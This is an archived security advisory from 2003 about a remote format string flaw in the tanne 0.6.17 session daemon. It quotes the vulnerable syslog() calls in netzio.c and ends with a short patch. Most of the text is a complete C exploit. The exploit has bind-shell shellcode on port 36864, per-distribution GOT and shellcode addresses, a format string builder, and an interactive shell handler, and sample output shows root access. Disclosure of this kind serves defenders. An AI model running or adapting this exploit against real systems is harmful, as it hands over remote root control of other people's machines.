|
COMMAND Remote format string vulnerability in Tanne SYSTEMS AFFECTED tanne 0.6.17 PROBLEM In dong-houn yoU 'Xpl017Elz' [http://x82.i21c.net] of in INetCop(c) Security [http://www.inetcop.org] advisory : tanne is a small, secure session-management solution for HTTP. It replaces common sessions with a system consisting of PIN and TANs, well known from online banking. It's main purpose is to enable programmers of Web applications to have real secure sessions without cookies or session-ids. More detailed information is http://tanne.fluxnetz.de/. Vulnerability can presume as following. There is logger() function to 29 lines of 'netzio.c' code. __ 59 else 60 { 61 va_start( args, str ); 62 vsnprintf( txt, 511, str, args ); 63 va_end( args ); 64 openlog( "Tanne2", LOG_PID, LOG_DAEMON ); 65 syslog( LOG_INFO, txt ); // Here. 66 closelog(); 67 } 68 umask( NORMALE_UMASK ); 69 #else 70 va_start( args, str ); 71 vsnprintf( txt, 511, str, args ); 72 va_end( args ); 73 openlog( "Tanne2", LOG_PID, LOG_DAEMON ); 74 syslog( LOG_INFO, txt ); // Here. 75 closelog(); 76 #endif 77 } -- This is very dangerous security vulnerability. It's known already well. ;-) Exploit ======= When compile and tested, bring following result. bash# netstat -an | grep 14002 tcp 0 0 127.0.0.1:14002 0.0.0.0:* LISTEN bash# nc 0 14002 %x%x%x%x |F| bash# tail -1 /var/log/messages Jan 5 11:29:55 xpl017elz Tanne2[3540]: FATAL: ID (804bbc0118bffff980) nicht gefunden bash# If our examination ends, exhibit exploit code for proof of concept. hehe !! Update (08 January 2003) ====== dong-h0un yoU [xploit@hackermail.com] kindly adds : /* ** ** [*] Title: Remote format string vulnerability in Tanne. ** [+] Exploit code: 0x82-Remote.tannehehe.xpl.c ** ** [+] Description -- ** ** About: ** tanne is a small, secure session-management solution for HTTP. ** It replaces common sessions with a system consisting of PIN and TANs, ** well known from online banking. ** It's main purpose is to enable programmers of Web applications ** to have real secure sessions without cookies or session-ids. ** ** More detailed information is http://tanne.fluxnetz.de/. ** ** Vulnerability can presume as following. ** There is logger() function to 29 lines of 'netzio.c' code. ** ** __ ** ... ** 65 syslog( LOG_INFO, txt ); // Here. ** ... ** 74 syslog( LOG_INFO, txt ); // Here. ** ... ** -- ** ** This is very dangerous security vulnerability. ** It's known already well. ;-) ** ** [+] Vulnerable Packages -- ** ** Vendor site: http://tanne.fluxnetz.de/ ** ** tanne 0.6.17 ** -tanne-0.6.17.tar.bz2 ** +Linux ** +Other ** ** [+] Exploit -- ** ** Proof of Concept on RedHat Linux 8.0, tanne-0.6.17.tar.bz2: ** ** bash-2.05b$ ./0x82-Remote.tannehehe.xpl -t2 ** ** Tanne Remote format string Xploit by Xpl017Elz ** ** [*] Target host localhost ** [*] Target type: Red Hat Linux release 8.0 (Psyche) tanne-0.6.17.tar.bz2 ** ** [1] Make it Format String. ** [-] syslog GOT address: 0x804d1c8 ** [2] Pushing Shellcode. ** [-] Shellcode address: 0xbffff974 ** [3] Setting Sock. ** [4] Send Code. ** [*] Waiting Rootshell :-) ** [5] Trying localhost:36864 ... ** [6] Connected to localhost:36864 ! ** ** [*] Executed shell successfully ! ** [*] OK, It's Rootshell ** ** Linux thanks_maze_dorumuk 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 ** i686 i686 i386 GNU/Linux ** uid=0(root) gid=2(daemon) groups=0(root),1(bin),2(daemon),3(sys),4(adm), ** 6(disk),10(wheel) ** bash: no job control in this shell ** stty: standard input: Invalid argument ** [root@maze_dorumuk tanne-0.6.17]# id ** uid=0(root) gid=2(daemon) groups=0(root),1(bin),2(daemon),3(sys),4(adm), ** 6(disk),10(wheel) ** [root@maze_dorumuk tanne-0.6.17]# exit ** exit ** ** [*] Happy Exploit ! ** ** bash-2.05b$ ** ** GOT syslog address? ** ** bash-2.05b$ objdump --dynamic-reloc tanned | grep syslog ** 0804d1c8 R_386_JUMP_SLOT syslog ** bash-2.05b$ ** ** -- ** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. ** My World: http://x82.i21c.net & http://x82.inetcop.org ** */ /* ** -=-= POINT! POINT! POINT! POINT! POINT! =-=- ** ** If compile by DEBUG mode, it exploit do can. ** It's Proof of concept. (Therefore, don't support 'Brute-force' mode.) ** ** P.S Joke: ** ** I suffer because of English ability such as child sometimes. :-( ** So, I'm studying English hard. hehehe! ** ** Where is really fine English teacher?! ** ** Greets: ** ** Developer Uli Funcke, mAzE_Dorumuk, BrainStorm (hello!), ** ElectronicSouls (#!electronicsouls@efnet), INetCop(C) Security. ** */ #define Xpl017Elz x82 #define x0x_test1 (0x82*16) #define x0x_test2 (0x82*8) #define x0x_test3 (0x82*4) #define x0x_test4 (0x82) #include <stdio.h> #include <unistd.h> #include <netdb.h> #include <netinet/in.h> #define HOST "localhost" #define PORT 14002 struct os { int num; char *ost; unsigned long gotrs; unsigned long shell; int flag; }; struct os plat[] = { { 0,"Red Hat Linux release 6.1 (Cartman) tanne-0.6.17.tar.bz2", 0x0804d224,0xbffffa14,11 }, { 1,"Red Hat Linux release 7.0 (Guinness) tanne-0.6.17.tar.bz2", 0x0804d260,0xbffff974,5 }, { 2,"Red Hat Linux release 8.0 (Psyche) tanne-0.6.17.tar.bz2", 0x0804d1c8,0xbffff974,5 } }; // This is lovable shellcode, that's sweet in linux platform. char shellcode[]= /* portshell shellcode, 128 bytes (tcp/36864) */ "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c\x40\x89" "\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10\x66\x89" "\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89\x46\x18\xb0\x90\x66\x89" "\x46\x16\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0\x66\xcd\x80\x89" "\x5e\x0c\x43\x43\xb0\x66\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66" "\x43\xcd\x80\x86\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80" "\xb0\x3f\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c" "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh"; unsigned char x82x82x82[x0x_test1]; void banrl(); int makefmt(u_long retloc,u_long shaddr,int flag); int setsock(char *hostname, int port); void usage(char *argument); void re_connt(int sock); void exect_sh(int sock); int main(argc,argv) int argc; char *argv[]; { int ax82=0; int type=0; int port=PORT; int flag=plat[type].flag; int sockr,sockr2; extern char *optarg; char hostname[x0x_test4]=HOST; unsigned long retloc=plat[type].gotrs; unsigned long shaddr=plat[type].shell; (void)banrl(); while((ax82=getopt(argc,argv,"R:r:S:s:F:f:H:h:T:t:Ii"))!=EOF) { switch(ax82) { case 'R': case 'r': retloc=strtoul(optarg,NULL,0); break; case 'S': case 's': shaddr=strtoul(optarg,NULL,0); break; case 'F': case 'f': flag=atoi(optarg); break; case 'H': case 'h': strncpy(hostname,optarg,x0x_test4); break; case 'T': case 't': type=atoi(optarg); if(type>2) /* 0,1,2 */ { (void)usage(argv[0]); } else { retloc=plat[type].gotrs; shaddr=plat[type].shell; flag=plat[type].flag; } break; case 'I': case 'i': (void)usage(argv[0]); break; case '?': fprintf(stderr, " Try `%s -i' for more information.\n\n",argv[0]); exit(-1); break; } } fprintf(stdout," [*] Target host %s\n",hostname); fprintf(stdout," [*] Target type: %s\n\n",plat[type].ost); fprintf(stdout," [1] Make it Format String.\n"); fprintf(stdout," [-] syslog GOT address: %p\n",retloc); (int)makefmt((u_long)retloc,(u_long)shaddr,(int)flag); fprintf(stdout," [3] Setting Sock.\n"); sockr=setsock(hostname,port); (void)re_connt(sockr); fprintf(stdout," [4] Send Code.\n"); send(sockr,x82x82x82,strlen(x82x82x82),0); fprintf(stdout," [*] Waiting Rootshell :-)\n"); sleep(1); fprintf(stdout," [5] Trying %s:36864 ...\n",hostname); sockr2=setsock(hostname,36864); (void)re_connt(sockr2); fprintf(stdout," [6] Connected to %s:36864 !\n\n",hostname); (void)exect_sh(sockr2); } void banrl() { fprintf(stdout,"\n Tanne Remote format string Xploit by Xpl017Elz\n\n"); } int makefmt(u_long retloc,u_long shaddr,int flag) { unsigned char x82x82[x0x_test2]; unsigned char x0x[x0x_test3]; int bx82,cx82,ex82,fx82,gx82,hx82; int add1,add2,add3,add4; bx82=cx82=ex82=fx82=gx82=hx82=0; add1=add2=add3=add4=0; memset((char *)x82x82x82,0,x0x_test1); memset((char *)x82x82,0,x0x_test2); memset((char *)x0x,0,x0x_test3); *(long *)&x0x[0]=0x82828282; *(long *)&x0x[4]=retloc+0; *(long *)&x0x[8]=0x82828282; *(long *)&x0x[12]=retloc+1; *(long *)&x0x[16]=0x82828282; *(long *)&x0x[20]=retloc+2; *(long *)&x0x[24]=0x82828282; *(long *)&x0x[28]=retloc+3; /* real */ ex82=(shaddr>>24)&0xff; fx82=(shaddr>>16)&0xff; gx82=(shaddr>> 8)&0xff; hx82=(shaddr>> 0)&0xff; /* test */ add1=(shaddr>>24)&0xff; add2=(shaddr>>16)&0xff; add3=(shaddr>> 8)&0xff; add4=(shaddr>> 0)&0xff; if((add4-40)<10) hx82+=0x100; if((add3-add4)<10) gx82+=0x100; if((add2-add3)<10) fx82+=0x100; for(bx82=0;bx82<0x140-strlen(shellcode);bx82++) x82x82[bx82]='N'; /* CodeRed?! Whoou ... */ for(cx82=0;cx82<strlen(shellcode);cx82++) x82x82[bx82++]=shellcode[cx82]; fprintf(stdout," [2] Pushing Shellcode.\n"); fprintf(stdout," [-] Shellcode address: %p\n",shaddr); snprintf(x82x82x82,x0x_test1, "@%s" /* <- point */ "%%%d$%ux%%%d$n%%%d$%ux%%%d$n" /* $-flag */ "%%%d$%ux%%%d$n%%%d$%ux%%%d$n" /* format string */ "%s\n", /* code */ x0x, (flag+0),hx82-40,(flag+1),(flag+2), gx82-add4,(flag+3),(flag+4),fx82-add3, (flag+5),(flag+6),0x100+ex82-add2, (flag+7),x82x82); /* funny :-) */ } void usage(char *argument) { fprintf(stdout," Usage: %s -options arguments\n\n",argument); fprintf(stdout," -r [retloc] - GOT address.\n"); fprintf(stdout," -s [shelladdr] - shell address.\n"); fprintf(stdout," -f [flagnum] - flag number.\n"); fprintf(stdout," -h [hostname] - target host.\n"); fprintf(stdout," -t [typenum] - target number.\n"); fprintf(stdout," -i - help information.\n\n"); fprintf(stdout," - Target Type Number List -\n\n"); fprintf(stdout," {0} Red Hat Linux release 6.1 (Cartman)" " tanne-0.6.17.tar.bz2\n"); fprintf(stdout," {1} Red Hat Linux release 7.0 (Guinness)" " tanne-0.6.17.tar.bz2\n"); fprintf(stdout," {2} Red Hat Linux release 8.0 (Psyche)" " tanne-0.6.17.tar.bz2\n\n"); fprintf(stdout," Example1: %s -r0x82828282 -s0x8282bab0 -f5",argument); fprintf(stdout,"\n Example2: %s -t 0 -h target.org\n\n",argument); exit(0); } void re_connt(int sock) { if(sock==-1) { fprintf(stdout," [-] Failed.\n\n"); fprintf(stdout," Happy Exploit ! :-)\n\n"); exit(-1); } } int setsock(char *hostname,int port) { int sock; struct hostent *he; struct sockaddr_in x82_addr; if((he=gethostbyname(hostname))==NULL) { herror(" [-] gethostbyname() error"); return(-1); } if((sock=socket(AF_INET,SOCK_STREAM,0))==EOF) { perror(" [-] socket() error"); return(-1); } x82_addr.sin_family=AF_INET; x82_addr.sin_port=htons(port); x82_addr.sin_addr=*((struct in_addr *)he->h_addr); bzero(&(x82_addr.sin_zero),8); if(connect(sock,(struct sockaddr *)&x82_addr, sizeof(struct sockaddr))==EOF) { perror(" [-] connect() error"); return(-1); } return(sock); } void exect_sh(int sock) { int pckt; char *cmd="uname -a;id;export TERM=vt100;exec bash -i\n"; char rbuf[1024]; fd_set rset; memset((char *)rbuf,0,1024); fprintf(stdout," [*] Executed shell successfully !\n"); fprintf(stdout," [*] OK, It's Rootshell\n\n"); send(sock,cmd,strlen(cmd),0); while(1) { fflush(stdout); FD_ZERO(&rset); FD_SET(sock,&rset); FD_SET(STDIN_FILENO,&rset); select(sock+1,&rset,NULL,NULL,NULL); if(FD_ISSET(sock,&rset)) { pckt=read(sock,rbuf,1024); if(pckt<=0) { fprintf(stdout,"\n [*] Happy Exploit !\n\n"); exit(0); } rbuf[pckt]=0; printf("%s",rbuf); } if(FD_ISSET(STDIN_FILENO,&rset)) { pckt=read(STDIN_FILENO,rbuf,1024); if(pckt>0) { rbuf[pckt]=0; write(sock,rbuf,pckt); } } } return; } /* eox */ SOLUTION Patch : === netzio.patch === --- netzio.c Wed Jul 25 22:17:29 2001 +++ netzio.patch.c Sun Jan 5 11:18:31 2003 @@ -62,7 +62,7 @@ vsnprintf( txt, 511, str, args ); va_end( args ); openlog( "Tanne2", LOG_PID, LOG_DAEMON ); - syslog( LOG_INFO, txt ); + syslog( LOG_INFO, "%s", txt ); closelog(); } umask( NORMALE_UMASK ); @@ -71,7 +71,7 @@ vsnprintf( txt, 511, str, args ); va_end( args ); openlog( "Tanne2", LOG_PID, LOG_DAEMON ); - syslog( LOG_INFO, txt ); + syslog( LOG_INFO, "%s", txt ); closelog(); #endif } === eof ===